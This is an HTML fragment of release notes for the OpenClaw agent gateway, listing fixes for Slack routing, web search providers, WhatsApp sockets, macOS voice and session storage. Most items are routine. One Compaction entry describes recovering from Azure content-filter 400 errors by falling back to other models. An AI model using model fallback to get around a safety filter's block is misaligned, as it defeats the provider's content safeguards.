<p>Slack/DMs: keep top-level direct messages on the stable DM session even when <code>replyToMode</code> targets Slack thread replies, preserving context across DM turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4184870759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58832" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58832/hovercard" href="https://github.com/openclaw/openclaw/issues/58832">#58832</a>. Thanks @daye-jjeong.</p>
</li>
<li>
<p>Slack/delivery: preserve Slack Web API missing-scope details in outbound delivery errors, so queued retry state identifies the OAuth scope to add. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4216375787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62391/hovercard" href="https://github.com/openclaw/openclaw/issues/62391">#62391</a>. Thanks @alexey-pelykh.</p>
</li>
<li>
<p>Slack/capabilities: read granted scopes from <code>auth.test</code> response metadata before trying legacy scope APIs, so modern bot tokens no longer report <code>unknown_method</code> for channel capabilities. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4068646797" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44625" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44625/hovercard" href="https://github.com/openclaw/openclaw/issues/44625">#44625</a>. Thanks @Qquanwei and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</p>
</li>
<li>
<p>Slack/DMs: send text/block-only proactive DMs directly with <code>chat.postMessage(channel=&lt;user id&gt;)</code> while keeping conversation resolution for uploads and threaded sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213098355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62042" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62042/hovercard" href="https://github.com/openclaw/openclaw/issues/62042">#62042</a>. Thanks @MarkMolina.</p>
</li>
<li>
<p>Slack/routing: match route bindings written with Slack target syntax such as <code>channel:C...</code>, <code>user:U...</code>, or <code>&lt;@U...&gt;</code>, so bound Slack peers route to the configured agent instead of <code>main</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048907648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41608" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41608/hovercard" href="https://github.com/openclaw/openclaw/issues/41608">#41608</a>. Thanks @Winnsolutionsadmin.</p>
</li>
<li>
<p>Slack/routing: match public-channel allowlist entries written as <code>channel:C...</code> against bare Slack runtime channel IDs, so allowed channel mentions do not fail as <code>channel-not-allowed</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046643845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41264" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41264/hovercard" href="https://github.com/openclaw/openclaw/issues/41264">#41264</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160915756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56530/hovercard" href="https://github.com/openclaw/openclaw/pull/56530">#56530</a>. Thanks @babutree and @Realworld404.</p>
</li>
<li>
<p>Slack/message actions: prefer the account bound to the outbound target peer before falling back to the agent's first channel account, so multi-workspace sends use the intended Slack account. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264751663" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66807/hovercard" href="https://github.com/openclaw/openclaw/pull/66807">#66807</a>. Thanks @rijhsinghani.</p>
</li>
<li>
<p>Slack/delivery: retry Slack Web API writes only when the SDK wraps a DNS request failure such as <code>EAI_AGAIN</code>, so transient resolver hiccups can recover without retrying platform errors that may duplicate messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289779783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68789" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68789/hovercard" href="https://github.com/openclaw/openclaw/issues/68789">#68789</a>. Thanks @sonnyb9.</p>
</li>
<li>
<p>Slack/message actions: forward agent-scoped media roots through the bundled upload-file action path, so workspace files can be attached without failing the local-media guard. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242973170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64625" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64625/hovercard" href="https://github.com/openclaw/openclaw/issues/64625">#64625</a>. Thanks @benpchandler.</p>
</li>
<li>
<p>Slack/mentions: resolve <code>&lt;!subteam^...&gt;</code> user-group mentions through Slack <code>usergroups.users.list</code> and treat them as explicit mentions only when the bot user is a member, so mention-gated agent channels wake for real user-group mentions without config-only allowlists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346503795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73827/hovercard" href="https://github.com/openclaw/openclaw/issues/73827">#73827</a>. Thanks @CG-Intelligence-Agent-Jack.</p>
</li>
<li>
<p>Slack/message tool: let <code>read</code> fetch an exact Slack message timestamp, including a specific thread reply when paired with <code>threadId</code>, instead of returning only the parent thread or recent channel history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130437054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53943" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53943/hovercard" href="https://github.com/openclaw/openclaw/issues/53943">#53943</a>. Thanks @zomars.</p>
</li>
<li>
<p>PDF/Gemini: send native PDF analysis API keys in the <code>x-goog-api-key</code> header instead of the request URL, keeping secrets out of proxy and access logs. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4202693803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60600" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60600/hovercard" href="https://github.com/openclaw/openclaw/pull/60600">#60600</a>. Thanks @garagon.</p>
</li>
<li>
<p>Web search/Gemini: route agent abort signals into provider fetches and log provider-side abort failures as normal tool errors instead of silently aborting the run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338236726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72995" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72995/hovercard" href="https://github.com/openclaw/openclaw/issues/72995">#72995</a>. Thanks @RoseKongPS.</p>
</li>
<li>
<p>Web search: point missing-key errors to <code>web_fetch</code> for known URLs and the browser tool for interactive pages. Thanks @zhaoyang97.</p>
</li>
<li>
<p>Web search: late-bind managed agent <code>web_search</code> calls to the current runtime config snapshot, so existing sessions do not keep stale unresolved SecretRefs after secrets reload. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362762607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75420" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75420/hovercard" href="https://github.com/openclaw/openclaw/issues/75420">#75420</a>. Thanks @richardmqq.</p>
</li>
<li>
<p>Web search/Gemini: reuse <code>models.providers.google.apiKey</code> and <code>models.providers.google.baseUrl</code> as lower-priority fallbacks for Gemini web search after dedicated search config and <code>GEMINI_API_KEY</code>. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4167524438" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57496" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57496/hovercard" href="https://github.com/openclaw/openclaw/pull/57496">#57496</a>. Thanks @Aoiujz.</p>
</li>
<li>
<p>Web search/Gemini: pass <code>freshness</code> and <code>date_after</code>/<code>date_before</code> filters through Google Search grounding time ranges. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261488656" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66498" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66498/hovercard" href="https://github.com/openclaw/openclaw/issues/66498">#66498</a>. Thanks @ismael-81.</p>
</li>
<li>
<p>Web search/DuckDuckGo: include the keyless DuckDuckGo provider in the web search setup wizard. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253504720" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65862" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65862/hovercard" href="https://github.com/openclaw/openclaw/issues/65862">#65862</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4254540581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65940/hovercard" href="https://github.com/openclaw/openclaw/pull/65940">#65940</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</p>
</li>
<li>
<p>Web search: honor <code>baseUrl</code> overrides for Gemini, Grok, and x_search provider-owned config, so proxy-backed search tools no longer dial hardcoded public endpoints. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4212565688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61972" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61972/hovercard" href="https://github.com/openclaw/openclaw/pull/61972">#61972</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lanfei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lanfei">@Lanfei</a>.</p>
</li>
<li>
<p>Web search/Brave: point Brave provider metadata at the canonical <code>/tools/brave-search</code> docs page and make the legacy <code>/brave-search</code> docs page a redirect stub. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253527816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65870" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65870/hovercard" href="https://github.com/openclaw/openclaw/issues/65870">#65870</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253794124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65892" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65892/hovercard" href="https://github.com/openclaw/openclaw/pull/65892">#65892</a>. Thanks @Magicray1217 and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</p>
</li>
<li>
<p>Web search/Brave: allow <code>freshness</code> and bounded date ranges in <code>llm-context</code> mode, matching Brave's documented LLM Context API support. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107380876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51005" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51005/hovercard" href="https://github.com/openclaw/openclaw/pull/51005">#51005</a>. Thanks @remusao.</p>
</li>
<li>
<p>Web fetch: resolve external plugin <code>webFetchProviders</code> for non-sandboxed <code>web_fetch</code>, while keeping sandboxed fetches limited to bundled providers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355873723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74915/hovercard" href="https://github.com/openclaw/openclaw/issues/74915">#74915</a>. Thanks @ultrahighsuper and @mingmingtsao.</p>
</li>
<li>
<p>Heartbeat: strip legacy <code>[TOOL_CALL]...[/TOOL_CALL]</code> and <code>[TOOL_RESULT]...[/TOOL_RESULT]</code> pseudo-call blocks from heartbeat replies before channel delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131762668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54138/hovercard" href="https://github.com/openclaw/openclaw/issues/54138">#54138</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Deniable9570/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Deniable9570">@Deniable9570</a>.</p>
</li>
<li>
<p>macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107671050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51040" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51040/hovercard" href="https://github.com/openclaw/openclaw/issues/51040">#51040</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carl-jeffrolc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carl-jeffrolc">@carl-jeffrolc</a>.</p>
</li>
<li>
<p>Providers/xAI: give Grok <code>web_search</code> a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175237199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58063" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58063/hovercard" href="https://github.com/openclaw/openclaw/issues/58063">#58063</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183930735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58733/hovercard" href="https://github.com/openclaw/openclaw/issues/58733">#58733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dnishimura/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dnishimura">@dnishimura</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marvcasasola-svg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marvcasasola-svg">@marvcasasola-svg</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nanako0129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nanako0129">@Nanako0129</a>.</p>
</li>
<li>
<p>Slack/directory: make <code>openclaw directory peers/groups list --channel slack</code> prefer token-backed live readers and return the connected Slack account from <code>directory self</code>, so valid Slack tokens no longer produce empty directory CLI results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105363396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50776" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50776/hovercard" href="https://github.com/openclaw/openclaw/issues/50776">#50776</a>. Thanks @pjaillon.</p>
</li>
<li>
<p>Slack: keep assistant typing status, temporary typing reactions, and status reactions active for group/channel turns that use message-tool-only visible replies, while still suppressing automatic source replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367334076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75877/hovercard" href="https://github.com/openclaw/openclaw/issues/75877">#75877</a>. Thanks @teosborne.</p>
</li>
<li>
<p>Slack: recover full inbound DM text from top-level rich-text blocks when Slack sends a shortened message preview, so long direct messages still reach the agent intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147105482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55358" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55358/hovercard" href="https://github.com/openclaw/openclaw/issues/55358">#55358</a>. Thanks @tonyjwinter.</p>
</li>
<li>
<p>Replies: strip legacy <code>[TOOL_CALL]{tool =&gt; ..., args =&gt; ...}[/TOOL_CALL]</code> pseudo-call text from user-facing replies and flag it in tool-call diagnostics instead of showing raw tool syntax in channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230337239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63610" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63610/hovercard" href="https://github.com/openclaw/openclaw/issues/63610">#63610</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/canh0chua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/canh0chua">@canh0chua</a>.</p>
</li>
<li>
<p>WhatsApp: close long-lived web sockets through Baileys <code>end(error)</code> before falling back to raw websocket close, so listener teardown runs Baileys cleanup instead of leaving zombie sockets. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116852446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52442" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52442/hovercard" href="https://github.com/openclaw/openclaw/issues/52442">#52442</a>. Thanks @essendigitalgroup-cyber.</p>
</li>
<li>
<p>Twitch/plugins: emit a flat JSON Schema for Twitch channel config so single-account and multi-account configs validate before runtime load, and add source-checkout diagnostics for missing pnpm workspace dependencies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/sessions: move hot transcript reads and mirror appends onto async bounded IO with serialized parent-linked writes, keeping large session histories from stalling Gateway requests and channel replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364571913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75656/hovercard" href="https://github.com/openclaw/openclaw/issues/75656">#75656</a>. Thanks @DerFlash.</p>
</li>
<li>
<p>macOS/Talk Mode: downmix multi-channel microphone buffers before handing them to Apple Speech across Push-to-Talk, Talk Mode, Voice Wake, and the wake-word tester, so pro audio interfaces no longer produce empty transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4054504623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42533" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42533/hovercard" href="https://github.com/openclaw/openclaw/issues/42533">#42533</a>. Thanks @jbuecker.</p>
</li>
<li>
<p>macOS/Talk Mode: subscribe native WebChat to active-session transcript updates and render external spoken user turns in the chat thread instead of only showing assistant replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359538657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75155" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75155/hovercard" href="https://github.com/openclaw/openclaw/issues/75155">#75155</a>. Thanks @SledderBling.</p>
</li>
<li>
<p>macOS/Voice Wake: accept trigger-only phrases in the built-in Voice Wake test, matching the settings UI and runtime trigger-only path instead of requiring extra command text after the wake word. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245638367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64986/hovercard" href="https://github.com/openclaw/openclaw/issues/64986">#64986</a>. Thanks @zoiks65.</p>
</li>
<li>
<p>Cron/TTS: run cron announce payloads through the normal TTS directive transform before outbound delivery, so scheduled <code>[[tts]]</code> replies generate voice payloads instead of leaking raw tags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115170457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52125" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52125/hovercard" href="https://github.com/openclaw/openclaw/issues/52125">#52125</a>. Thanks @kenchen3000.</p>
</li>
<li>
<p>WhatsApp: save downloadable quoted image media from reply context as inbound media, so agents can inspect an image that a user replied to instead of only seeing <code>&lt;media:image&gt;</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4188698212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59174/hovercard" href="https://github.com/openclaw/openclaw/issues/59174">#59174</a>. Thanks @gaffner.</p>
</li>
<li>
<p>Sessions/store: stop persisting the runtime-only <code>skillsSnapshot.resolvedSkills</code> array inside each session entry, so <code>sessions.json</code> no longer carries a copy of every parsed <code>SKILL.md</code> body for every active session; <code>ensureSkillSnapshot</code> rehydrates the array from disk on cold resume so the embedded runner, the Claude CLI skills plugin, and the Claude live-session fingerprint all see populated skills, and legacy stores self-heal on the next save. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3913009724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11950/hovercard" href="https://github.com/openclaw/openclaw/issues/11950">#11950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3883150285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6650" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/6650/hovercard" href="https://github.com/openclaw/openclaw/issues/6650">#6650</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3934112753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/15000" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/15000/hovercard" href="https://github.com/openclaw/openclaw/issues/15000">#15000</a>. Thanks @amoghasgekar.</p>
</li>
<li>
<p>Doctor/WhatsApp: warn when Linux crontabs still run the legacy <code>ensure-whatsapp.sh</code> health check, which can misreport <code>Gateway inactive</code> when cron lacks the systemd user-bus environment. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4199567980" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60204" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60204/hovercard" href="https://github.com/openclaw/openclaw/issues/60204">#60204</a>. Thanks @mySebbe.</p>
</li>
<li>
<p>Slack/setup: print the generated app manifest as plain JSON instead of embedding it inside the framed setup note, so it can be copied into Slack without deleting border characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251790246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65751" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65751/hovercard" href="https://github.com/openclaw/openclaw/issues/65751">#65751</a>. Thanks @theDanielJLewis.</p>
</li>
<li>
<p>Channels/WhatsApp: route CLI logout through the live Gateway and stop runtime-backed listeners before channel removal, so removing a WhatsApp account does not leave the old socket replying until restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277177561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67746" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67746/hovercard" href="https://github.com/openclaw/openclaw/issues/67746">#67746</a>. Thanks @123Mismail.</p>
</li>
<li>
<p>Voice Call/Twilio: honor TTS directive text and provider voice/model overrides during telephony synthesis, so <code>[[tts:...]]</code> tags are not spoken literally and voiceId overrides reach OpenAI/ElevenLabs calls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175530255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58114/hovercard" href="https://github.com/openclaw/openclaw/issues/58114">#58114</a>. Thanks @legonhilltech-jpg.</p>
</li>
<li>
<p>Agents/session-locks: reclaim untracked current-process session locks with matching starttime during acquisition and startup cleanup, so Gateway restarts recover from self-owned orphan <code>.jsonl.lock</code> files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366526190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75805" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75805/hovercard" href="https://github.com/openclaw/openclaw/issues/75805">#75805</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093489842" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49603" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49603/hovercard" href="https://github.com/openclaw/openclaw/issues/49603">#49603</a>. Thanks @cdznho.</p>
</li>
<li>
<p>Agents/subagents: initialize built-in context engines before native <code>sessions_spawn</code> resolves spawn preparation, so cliBackend-only cold starts no longer fail with an unregistered <code>legacy</code> context engine. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339592375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73095/hovercard" href="https://github.com/openclaw/openclaw/issues/73095">#73095</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347197163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73904/hovercard" href="https://github.com/openclaw/openclaw/pull/73904">#73904</a>) Thanks @brokemac79.</p>
</li>
<li>
<p>Plugins/Bonjour: ship the ciao runtime dependency with packaged OpenClaw so fresh OCM envs can start default mDNS discovery without a missing-module failure. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: scope reply plugin-tool discovery to manifest-declared tool owners and already-active matching tool entries, avoiding broad plugin runtime loading for narrow or core-only tool allowlists. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/replies: defer implicit image model discovery and keep OAuth auth-store adoption on persisted profiles during reply startup, cutting OCM MarCodex warm prep to sub-second in live checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Plugins/tools: enforce <code>contracts.tools</code> as the manifest ownership contract for plugin tool registration, rejecting undeclared runtime tool names and adding bundled plugin drift coverage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/Codex: stop prompting message-tool-only source turns to finish with <code>NO_REPLY</code>, so quiet turns are represented by not calling the visible message tool instead of conflicting final-text instructions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Gateway/config: report failed backup restores as failed in logs and config observe audit records instead of marking them valid. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314005687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70515/hovercard" href="https://github.com/openclaw/openclaw/pull/70515">#70515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</p>
</li>
<li>
<p>Compaction: use the active session model fallback chain for implicit summarization failures without persisting fallback model selection, so Azure content-filter 400s can recover. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245460651" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64960" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64960/hovercard" href="https://github.com/openclaw/openclaw/issues/64960">#64960</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352068136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74470/hovercard" href="https://github.com/openclaw/openclaw/pull/74470">#74470</a>) Thanks @jalehman and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpenCodeEngineer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpenCodeEngineer">@OpenCodeEngineer</a>.</p>
</li>
<li>
